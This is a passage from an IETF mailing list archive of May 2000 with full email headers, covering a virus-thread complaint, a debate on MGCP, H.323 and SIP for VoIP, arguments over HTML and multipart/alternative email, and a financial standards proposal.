> web servers and open attachments on offline isolated computers also
remember
> to do your browsing on seperate computers.  That may reduce disaster
> vunerability by about 5%.

If you are so rich that you can afford one seperate computer for each little
task to accomplish, please send me
some money. It seems that you have plenty.

- Anders Feder



From owner-ietf-outbound  Mon May 15 09:00:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA02795
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 09:00:02 -0400 (EDT)
Received: from osd.mil (firewall-user@gateway2.osd.mil [140.185.28.36])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA02716
	for <ietf@ietf.org>; Mon, 15 May 2000 08:53:49 -0400 (EDT)
From: William.Flanigan@bmdo.osd.mil
Received: by osd.mil; id HAA22536; Mon, 15 May 2000 07:54:48 GMT
Received: from hqbmdofs03.bmdo.osd.mil(134.152.2.194) by gateway2.osd.mil via smap (V4.2)
	id xma021241; Mon, 15 May 00 07:53:56 GMT
Received: from mfil.terminal (mfil@localhost)
	by hqbmdofs03.bmdo.osd.mil with SMTP id IAA17992;
	Mon, 15 May 2000 08:21:07 -0400 (EDT)
Received: from hqbmdomsg01.bmdo.osd.mil (hqbmdomsg01.bmdo.osd.mil [172.20.100.3])
	by hqbmdofs03.bmdo.osd.mil with ESMTP id IAA17754;
	Mon, 15 May 2000 08:20:13 -0400 (EDT)
Received: by hqbmdomsg01.bmdo.osd.mil with Internet Mail Service (5.5.2650.21)
	id <KR4QM673>; Mon, 15 May 2000 08:20:49 -0400
Message-ID: <516542F35571D31187C000A0C9DCD330574C46@hqbmdomsg01.bmdo.osd.mil>
To: henryc@mindspring.com, xelsed@escape.com
Cc: ietf@ietf.org
Subject: RE: VIRUS WARNING
Date: Mon, 15 May 2000 08:20:36 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

PLEASE change the title of this thread.  It's borders on a partial self
denial of service, since the title is now misleading.  Thank you.

Bill Flanigan

-----Original Message-----
From: Henry Clark [mailto:henryc@mindspring.com]
Sent: Sunday, May 14, 2000 4:35 PM
To: Jeremy
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING


At 01:38 PM 5/12/00 -0400, Jeremy wrote:
>Can you plase pleaes stop this Virus Thread.

This thread _is_ the virus...



From owner-ietf-outbound  Mon May 15 14:30:35 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA08329
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 14:30:02 -0400 (EDT)
Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.202.251])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08303
	for <ietf@ietf.org>; Mon, 15 May 2000 14:28:26 -0400 (EDT)
Received: from glock (dallas-nt-47.cisco.com [171.68.37.47])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with SMTP id LAA18595;
	Mon, 15 May 2000 11:27:16 -0700 (PDT)
Message-ID: <01b601bfbe9b$33637e70$2f2544ab@glock>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Masataka Ohta" <mohta@necom830.hpcl.titech.ac.jp>,
        "Harald Tveit Alvestrand" <Harald@Alvestrand.no>
Cc: "Christian Huitema" <huitema@microsoft.com>,
        "'Yixin Zhu'" <yixin@xybridge.com>, <ietf@ietf.org>
References: <200005132332.IAA06106@necom830.hpcl.titech.ac.jp>
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
Date: Mon, 15 May 2000 12:35:56 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Sez "Masataka Ohta" <mohta@necom830.hpcl.titech.ac.jp>
> > H.323 is defined for a LAN environment, not for telephone lines.
>
> For telephony people, the IP protocol is for a LAN environment
> that there is no difference between H.323, SIP, TELNET, or DNS
> for that matter.

"Telephony people" are not relevant here, since we're talking about
VoIP.

> As I said:
>
> > >For VoIP over telephony networks

Your statements don't make sense; "VoIP over telephony networks" is an
oxymoron, since VoIP is, by definition, over an IP network.

> some protocol is necessary between two telephony networks.
>
> FYI, there is a protocol called TBGP proposed in IETF for the purpose.

TBGP is the proposed method for binding E.164 numbers to telephony
domains, much like DNS binds names to IP addresses.  One would still use
SIP (or equivalent) to actually complete the call.

> > If you want to use ITU protocols, please choose some other numbers.
>
> So, you are saying SGCP/MGCP are wrong to use 323.
>
> Fine.

No, he's suggesting that if you wish to use an ITU protocol, H.323 is
not the correct one.  Perhaps Q.931?

> FYI, in my design of "The Simple Internet Phone":
>
> If you are interested in Internet telephony, see you at
> INET'2000 in Yokohama for the presentation of our paper
> "The Simple Internet Phone".

Please let us know the URL where you'll be publishing this paper, as
some of us may not be inclined to fly to Yokohama to hear about yet
another non-standard, proprietary telephony protocol.

> I chose to keep using 164 (sorry, not 42) at least for the time being,
> because it is the easiest way to let subscribers replace telephony
> network with the Internet.

MGCP/SGCP/Megaco directly use E.164 numbers.  SIP allows users to see
only E.164 numbers during a transition period, though it becomes much
more pwoerful when you move to a more expressive namespace.

[from a prior message]
> As I pointed it out with regard to iMODE and WAP, an attempt to
> promote protocols like SIP, a NAT friendly protocol even more
> complex than H.323

SIP may or may not be NAT-friendly, a point which is best left to other
(time-wasting) threads.  I would love to see any explanation of how SIP
is more complex than H.323; maybe you have them backwards?

> was based on a wrong strategy destroying
> the Internet into a collection of mostly-non-IP networks connected
> by application/transport gateways with mostly-non-IETF
> application/transport protocols.

SIP is not, as you state, based on a strategy of building non-IP
networks and connecting them with non-IETF protocols; in fact, it's
quite the opposite.  SIP allows the replacement of non-IP (ie. legacy
telephony) networks and non-IETF (ie. ITU) protocols; in the ideal SIP
world, legacy telephony would cease to exist.

While a bit dated, Henning Schulzrinne and Jonathan Rosenberg's paper
has quite a bit of detail on the subject:
http://www.cs.columbia.edu/~hgs/papers/Schu9807_Comparison.ps.gz

> Masataka Ohta

S

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        Network Consulting Engineer, NSA
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Email: ssprunk@cisco.com




From owner-ietf-outbound  Mon May 15 17:40:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA10439
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 17:40:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10390
	for <ietf@ietf.org>; Mon, 15 May 2000 17:34:13 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005152115.GAA14698@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id GAA14698; Tue, 16 May 2000 06:15:24 +0900
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
In-Reply-To: <01b601bfbe9b$33637e70$2f2544ab@glock> from Stephen Sprunk at "May
 15, 2000 12:35:56 pm"
To: Stephen Sprunk <ssprunk@cisco.com>
Date: Tue, 16 May 2000 06:15:22 +0859 ()
CC: Harald Tveit Alvestrand <Harald@Alvestrand.no>,
        Christian Huitema <huitema@microsoft.com>,
        "'Yixin Zhu'" <yixin@xybridge.com>, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Stephen Sprunk;

I dare reply because your mail demonstrates common misunderstandings
by people outside of the Internet.

> > > H.323 is defined for a LAN environment, not for telephone lines.
> >
> > For telephony people, the IP protocol is for a LAN environment
> > that there is no difference between H.323, SIP, TELNET, or DNS
> > for that matter.
> 
> "Telephony people" are not relevant here, since we're talking about
> VoIP.

Huh?

> > As I said:
> >
> > > >For VoIP over telephony networks
> 
> Your statements don't make sense; "VoIP over telephony networks" is an
> oxymoron, since VoIP is, by definition, over an IP network.

Some IP networks are pure telephony networks.

Only one IP network in the world is the Internet.

> > > If you want to use ITU protocols, please choose some other numbers.
> >
> > So, you are saying SGCP/MGCP are wrong to use 323.
> >
> > Fine.
> 
> No, he's suggesting that if you wish to use an ITU protocol, H.323 is
> not the correct one.  Perhaps Q.931?

He is not saying anything meaningful.

> MGCP/SGCP/Megaco directly use E.164 numbers.  SIP allows users to see

The context is that Yixin said something about S/MGCP and 323 and
Chrisitian acknowledged. I know the relevance is meaningless.

> > FYI, in my design of "The Simple Internet Phone":
> >
> > If you are interested in Internet telephony, see you at
> > INET'2000 in Yokohama for the presentation of our paper
> > "The Simple Internet Phone".
> 
> Please let us know the URL where you'll be publishing this paper, as
> some of us may not be inclined to fly to Yokohama to hear about yet
> another non-standard, proprietary telephony protocol.

You seem to have no knowledge on INET and IETF.

Signature of Vint will be a good starter for you.

Or, ask someone who knows something about not only IP networks but
also the Internet.

> SIP is not, as you state, based on a strategy of building non-IP
> networks and connecting them with non-IETF protocols; in fact, it's
> quite the opposite.  SIP allows the replacement of non-IP (ie. legacy
> telephony) networks and non-IETF (ie. ITU) protocols; in the ideal SIP
> world, legacy telephony would cease to exist.

We, IETF, are for the Internet, not merely IP.

							Masataka Ohta



From owner-ietf-outbound  Mon May 15 17:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA10577
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 17:50:02 -0400 (EDT)
Received: from sigma.cisco.com (sigma.cisco.com [171.69.63.142])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10445
	for <ietf@ietf.org>; Mon, 15 May 2000 17:40:19 -0400 (EDT)
Received: (from dhaval@localhost)
	by sigma.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA18531;
	Mon, 15 May 2000 14:38:41 -0700 (PDT)
From: Dhaval Shah <dhaval@cisco.com>
Message-Id: <200005152138.OAA18531@sigma.cisco.com>
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
To: ssprunk@cisco.com (Stephen Sprunk)
Date: Mon, 15 May 2000 14:38:40 -0700 (PDT)
Cc: mohta@necom830.hpcl.titech.ac.jp (Masataka Ohta),
        Harald@Alvestrand.no (Harald Tveit Alvestrand),
        huitema@microsoft.com (Christian Huitema),
        yixin@xybridge.com ('Yixin Zhu'), ietf@ietf.org
In-Reply-To: <01b601bfbe9b$33637e70$2f2544ab@glock> from "Stephen Sprunk" at May 15, 2000 12:35:56 PM
X-Mailer: ELM [version 2.5 PL1]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,

> > As I said:
> >
> > > >For VoIP over telephony networks
> 
> Your statements don't make sense; "VoIP over telephony networks" is an
> oxymoron, since VoIP is, by definition, over an IP network.
> 
> > some protocol is necessary between two telephony networks.
> >
> > FYI, there is a protocol called TBGP proposed in IETF for the purpose.

Just a minor correction. The new name for this protocol is TRIP.


Thanx,
Dhaval

> 
> TBGP is the proposed method for binding E.164 numbers to telephony
> domains, much like DNS binds names to IP addresses.  One would still use
> SIP (or equivalent) to actually complete the call.



From owner-ietf-outbound  Mon May 15 18:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA11011
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 18:30:02 -0400 (EDT)
Received: from localhost.localdomain (thibault.org [207.8.144.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10925
	for <ietf@ietf.org>; Mon, 15 May 2000 18:22:23 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id SAA08442
	for <ietf@ietf.org>; Mon, 15 May 2000 18:22:00 -0400
Sender: francis@localhost.localdomain
Message-ID: <39207888.A0DD7D04@ecal.com>
Date: Mon, 15 May 2000 18:22:00 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: HTML email
References: <200005121644.KAA18588@calcite.rhyolite.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Vernon Schryver wrote:

> The practice of sending both HTML and cleartext of supposedly the same
> message reflects very poorly on those who do it intentionally and on those
> who cause MUA's to trick others into doing it unintentionally.  Never mind
> the security issues, but consider only the wastes of disk space, CPU
> processing, network bandwidth, and the inevitable differences between the
> two versions.  If the two messages were the same, then there would be no
> excuse for sending both.  If they differ, then one must be wrong, and
> sending both is worse than a waste.

So why does multipart/alternative exist?

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |"I lost an 7-foot boa constrictor once in our|
|francis@ecal.com|house." --Gary Larson on his youth           |
\==============================================================/





From owner-ietf-outbound  Mon May 15 19:40:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA11523
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 19:40:01 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11478
	for <ietf@ietf.org>; Mon, 15 May 2000 19:32:06 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id RAA29411
	for ietf@ietf.org  env-from <vjs>;
	Mon, 15 May 2000 17:32:06 -0600 (MDT)
Date: Mon, 15 May 2000 17:32:06 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005152332.RAA29411@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: HTML email
X-Loop: ietf@ietf.org

> From: John Stracke <francis@ecal.com>

> > The practice of sending both HTML and cleartext of supposedly the same
> > message reflects very poorly on those who do it intentionally and on those
> > who cause MUA's to trick others into doing it unintentionally.  Never mind
> > the security issues, but consider only the wastes of disk space, CPU
> > processing, network bandwidth, and the inevitable differences between the
> > two versions.  If the two messages were the same, then there would be no
> > excuse for sending both.  If they differ, then one must be wrong, and
> > sending both is worse than a waste.
>
> So why does multipart/alternative exist?

Perhaps in theory, it exists for the reasons implied by RFC 2046,
especially the last part of section 5.1.4 or in the scenario described
in RFC 1766.  There are also RFC 2447 and RFC 2532.  They all seem to
involve situations where the two messages are not identical, but the
having a wrong version is better than none at all and which cannot
be predicted in order to avoid the waste.

However, most of the vast quantity of objective evidence implies
that multipart/alternative exists so that people can look stupid
and technically incompetent by sending plaintext with HTML that
when rendered looks practically identical to the plaintext.

The remaining evidence implies that multipart/alternative exists
to trick unwary recipients into rendering HTML containing things
they would be wise to not let their computers evaluate, starting
with porn (with all of its modern legal dangers) and tricky URLs
(e.g. the concrete example recently displayed here), and continuing
to other things with significant security problems.

When was the last time you received a multipart/alternative message that
did not make the sender look stupid, malicious, or both?  I can't remember
ever receiving any other kind of multipart/alternative.  Maybe that's
why so many competent people apologize when they realize they've been
tricked by a MUA into sending visually identical HTML and plaintext.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Mon May 15 20:20:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA11945
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 20:20:01 -0400 (EDT)
Received: from A4.JCK.COM (ns.jck.com [209.187.148.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11878
	for <ietf@ietf.org>; Mon, 15 May 2000 20:11:46 -0400 (EDT)
Received: from P2 ("port 1174"@[209.187.148.217])
 by a4.jck.com (PMDF V6.0-23 #40360) with ESMTP id <0FUM00ABZLX4HR@a4.jck.com>
 for ietf@ietf.org; Mon, 15 May 2000 20:12:41 -0400 (EDT)
Date: Mon, 15 May 2000 20:11:45 -0400
From: John C Klensin <klensin@jck.com>
Subject: Re: HTML email
In-reply-to: <39207888.A0DD7D04@ecal.com>
To: John Stracke <francis@ecal.com>
Cc: ietf@ietf.org
Message-id: <643798242.958421505@P2>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.0 (Win32)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
Content-disposition: inline
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

--On Monday, 15 May, 2000 18:22 -0400 John Stracke
<francis@ecal.com> wrote:

> Vernon Schryver wrote:
> 
>> The practice of sending both HTML and cleartext of supposedly
>> the same message reflects very poorly on those who do it
>> intentionally and on those who cause MUA's to trick others
>> into doing it unintentionally.  Never mind the security
>>... 
> So why does multipart/alternative exist?

(i) For those few situations in which there is information
content in a "rich" fancy display form that cannot be rendered
in a weaker form that where it is important to get some idea of
the content through.  This is clearly a judgement call on the
part of the sender, but the usual mindless attachment of an HTML
part to a plain-text message (to which I assume that Vernon is
most strongly objecting) doesn't add any more information, just
a bit of formatting that the receiving MUA could probably figure
out from a text message if the developer and user were
adequately motivated.

(ii) For situations in which the meaning of multiple rendering
is presumably the same but the string-content is very different.
E.g., one could in theory send a message out in several
different languages, tagging each, and permitting the receiving
MUA to select the message that best matches the
knowledge/usage/skills of the reader.

Of course, the security issues in the latter case are the same
as those that exist anytime you are handed text in a language
you don't understand and some other text that proports to be an
accurate translation of it.

   john



From owner-ietf-outbound  Mon May 15 21:20:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA12599
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 21:20:02 -0400 (EDT)
Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA12506
	for <ietf@ietf.org>; Mon, 15 May 2000 21:12:17 -0400 (EDT)
Received: by tsx-prime.MIT.EDU 
	with sendmail-SMI-8.6/1.2, id VAA21938; Mon, 15 May 2000 21:12:12 -0400
Date: Mon, 15 May 2000 21:12:12 -0400
Message-Id: <200005160112.VAA21938@tsx-prime.MIT.EDU>
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
To: John C Klensin <klensin@jck.com>
CC: John Stracke <francis@ecal.com>, ietf@ietf.org
In-reply-to: John C Klensin's message of Mon, 15 May 2000 20:11:45 -0400,
	<643798242.958421505@P2>
Subject: Re: HTML email
Phone: (781) 391-3464
X-Loop: ietf@ietf.org

   Date: Mon, 15 May 2000 20:11:45 -0400
   From: John C Klensin <klensin@jck.com>

   >> The practice of sending both HTML and cleartext of supposedly
   >> the same message reflects very poorly on those who do it
   >> intentionally and on those who cause MUA's to trick others
   >> into doing it unintentionally.  Never mind the security
   >>... 
   > So why does multipart/alternative exist?

   (i) For those few situations in which there is information
   content in a "rich" fancy display form that cannot be rendered
   in a weaker form that where it is important to get some idea of
   the content through.  

It seems to be usually the case, for most messages that I've seen, that
there's *no* added value to the HTML version.  I.e., other than adding
<BR> at the end of lines, and using microsoft-specific font settings at
the beginning of each paragraph (usually all the same), there's nothing
to be gained by using HTML except for bloating the message.  

So one question to ask is "why send HTML at all" in those cases?  It
would be nice if MUA's could detect this case, and only send plain-text,
and reserve HTML only for when it's actually adding something of value.

   This is clearly a judgement call on the part of the sender, but the
   usual mindless attachment of an HTML part to a plain-text message (to
   which I assume that Vernon is most strongly objecting) doesn't add
   any more information, just a bit of formatting that the receiving MUA
   could probably figure out from a text message if the developer and
   user were adequately motivated.

I wonder how many people are still using plain-text, non-HTML enabled
mail readers?  It still happens on some mailing list, where someone will
send a base-64 encoded html'ified message (usually using MS Outlook),
and someone will send back "try again in English; I don't read that MIME
crap."

For a long time, if you wanted to guarantee that messages issued by your
MUA would be read, it was wise to send it both in plain-text and HTML
form, with the plain-text form first --- and non-base-64 encoded if at
all possible.  For certain recipients, this is still the case.

							- Ted



From owner-ietf-outbound  Tue May 16 00:30:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA16147
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 00:30:01 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA16103
	for <ietf@ietf.org>; Tue, 16 May 2000 00:24:25 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4G4OOx29928;
	Tue, 16 May 2000 00:24:24 -0400
Message-Id: <200005160424.e4G4OOx29928@black-ice.cc.vt.edu>
To: John Stracke <francis@ecal.com>
cc: ietf@ietf.org
Subject: Re: HTML email 
In-reply-to: Your message of "Mon, 15 May 2000 18:22:00 EDT."
             <39207888.A0DD7D04@ecal.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005121644.KAA18588@calcite.rhyolite.com>
            <39207888.A0DD7D04@ecal.com>
Date: Tue, 16 May 2000 00:24:23 -0400
X-Loop: ietf@ietf.org

On Mon, 15 May 2000 18:22:00 EDT, John Stracke <francis@ecal.com>  said:
> So why does multipart/alternative exist?

Well, when we were designing the MIME spec, we went to great lengths
to cover all the bases - in fact, I've seen one very good use of
multipart/alternative by somebody with crippling RSI.  

He got into the habit of sending commentary to a mailing list as
multipart/alternative - one part being a *very* brief summary of
his commentary (usually a sentence or two tops), and the other being
a message/external-body pointing at a (usually longer) audio file
that he'd record in greater detail - this was in the days before
good speech-to-text software.

Yes, it probably violated the letter of the law just a bit, but
it was certainly in the spirit of it..

Also, remember that we designed it in 1991 or so - the infamous
Green Card Lottery was still 3 years away, AOL wasn't the majority
owner of several northern Virginia counties, and the concept of
a point-and-drool interface for the masses didn't exist yet.

We designed it for the Internet we were hoping for, not for the
one that we actually got....

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Tue May 16 00:50:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA16350
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 00:50:02 -0400 (EDT)
Received: from arcc.or.ke (root@[212.49.87.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA16318
	for <ietf@ietf.org>; Tue, 16 May 2000 00:44:39 -0400 (EDT)
Received: from du131.arcc.or.ke ([199.2.222.131])
	by arcc.or.ke (8.9.3/8.9.3) with SMTP id IAA07081;
	Tue, 16 May 2000 08:06:31 +0300 (EAT)
Date: Tue, 16 May 2000 08:06:31 +0300 (EAT)
Message-Id: <200005160506.IAA07081@arcc.or.ke>
X-Sender: musandu@199.2.222.254
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Anne & Lynn Wheeler <lynn@garlic.com>, ietf@ietf.org
From: Musandu <musandu@arcc.or.ke>
Subject: re: Financial Stnadards Work group?
X-Loop: ietf@ietf.org

I do not quiet agree with the current standards, they are a pain in the
neck.  E.g ( Just one example ) I want the internet debit card and the
devices for charging them to be standard hardware available in any computer
store.  This will allow one to chose any bank or service provider ( instead
of your money going proprietory ): imagine buying a new modem or router
every time you change ISPs or buying different kinds of printers for
printing from different web sites.  That is the position of debit card
recharging buying a new device each time you change the service provider.
The IETF can help or do you hold alternative views  ( give me some
recharging devices that allow change overs )??

Yours sincerely,
Nyagudi Musandu

At 10:28 14/05/00 -0700, you wrote:
>Musandu <musandu@arcc.or.ke> writes:
>
> >It may just be time for the IETF to develop a financial standards
> >work group separate from the applications work group.  I can even >forsee 
>a Simple Cash Transfer Protocol? any objections?
>
>There is an ANSI Financial Standards body (X9) which is also chair of the 
>ISO Financial Standards group.
>
>The electronic commerce payments working group (X9A10) has a draft standard 
>for all electronic retail payments (debit, credit, pre-paid, electronic 
>cash, etc) .. X9.59.
>
>
>misc. ref
>
>http://www.x9.org/
>http://www.x9.org/main_organization.html
>http://www.x9.org/subcomms/x9a/general/public/general.html
>http://www.tc68.org/
>http://www.x9.org/n20.html
>http://www.garlic.com/~lynn/
>http://www.garlic.com/~lynn/99.html#224
>http://www.garlic.com/~lynn/8583flow.htm
>http://www.garlic.com/~lynn/draft-wheeler-ipki-aads-01.txt
>
>& of course my rfc index is also at:
>
>http://www.garlic.com/~lynn/rfcietff.htm
>
>as well as ietf, payments, security, X9F, and financial glossaries
>
>
>
>--
>Anne & Lynn Wheeler      lynn@adcomsys.net, lynn@garlic.com
>   http://www.garlic.com/~lynn/  http://www.adcomsys.net/lynn/
>
>
>



From owner-ietf-outbound  Tue May 16 04:40:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA29643
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 04:40:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA29574
	for <ietf@ietf.org>; Tue, 16 May 2000 04:32:59 -0400 (EDT)
Received: from langfjella.Alvestrand.no (langfjella.maxware.no [10.128.1.123])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id KAA25460;
	Tue, 16 May 2000 10:32:51 +0200
Message-Id: <4.3.1.2.20000516102645.038a5cb0@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Tue, 16 May 2000 10:29:39 +0200
To: Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Re: HTML email
In-Reply-To: <200005152332.RAA29411@calcite.rhyolite.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 17:32 15.05.2000 -0600, Vernon Schryver wrote:
>When was the last time you received a multipart/alternative message that
>did not make the sender look stupid, malicious, or both?  I can't remember
>ever receiving any other kind of multipart/alternative.

FWIW, as a lone Eudora user in a pond of Outlookers, I find Eudora's HTML 
rendering of messages where people have used Outlook's "reply inline using 
a different color" to be slightly less hideous than Outlook's idea on how 
to demontstrate that it is not trivial to make a legible rendering of this 
particular function in ASCII.

Even if you want to argue that using this Outlook function makes the sender 
look stupid, there's value for me as the recipient in seeing the HTML 
rendering and not the ASCII rendering.

Small data point.

                     Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Tue May 16 07:50:44 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA02409
	for ietf-outbound.10@ietf.org; Tue, 16 May 2000 07:50:02 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA02296
	for <ietf@ietf.org>; Tue, 16 May 2000 07:45:30 -0400 (EDT)
Received: from c8-a.snvl1.sfba.home.com ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id LAA21420
	for <ietf@ietf.org>; Tue, 16 May 2000 11:43:22 GMT
Message-Id: <4.2.0.58.20000516073622.009992a0@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 16 May 2000 07:45:42 +0100
To: ietf@ietf.org
From: RJ Atkinson <rja@inet.org>
Subject: Re: HTML email
In-Reply-To: <200005160112.VAA21938@tsx-prime.MIT.EDU>
References: <John C Klensin's message of Mon, 15 May 2000 20:11:45 -0400, <643798242.958421505@P2>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 02:12 16-05-00 , Theodore Y. Ts'o wrote:

>It seems to be usually the case, for most messages that I've seen, that
>there's *no* added value to the HTML version.  I.e., other than adding
><BR> at the end of lines, and using microsoft-specific font settings at
>the beginning of each paragraph (usually all the same), there's nothing
>to be gained by using HTML except for bloating the message.
>
>So one question to ask is "why send HTML at all" in those cases?  It
>would be nice if MUA's could detect this case, and only send plain-text,
>and reserve HTML only for when it's actually adding something of value.

Its not uncommon for sales folks to use bold or colour in fonts to
highlight some item they want the reader to pay attention to.  Its a
matter of opinion whether this is good value.

I will note that I routinely discard all HTML-only or RichText-only email
without bothering to try to read it.  So folks who want me to read something
had better be sending at least US-ASCII plain-text.  Its well known that
I'm an old fogey, so this likely surprises no one.

>I wonder how many people are still using plain-text, non-HTML enabled
>mail readers?  It still happens on some mailing list, where someone will
>send a base-64 encoded html'ified message (usually using MS Outlook),
>and someone will send back "try again in English; I don't read that MIME
>crap."

I do not normally have an HTML-enabled mail reader at hand at work.  For 
that matter,
its not unheard of for me to read mail over a real TTY (or telnet or
ssh).  My mail readers _do_ comply with MIME, but attachments get
saved to the file system where I can read them by opening a separate
application viewer.  Over a TTY, it is intrinsically hard to display fancy 
text.
For HTML or RichText, I just don't bother with the second application, ever.

>For a long time, if you wanted to guarantee that messages issued by your
>MUA would be read, it was wise to send it both in plain-text and HTML
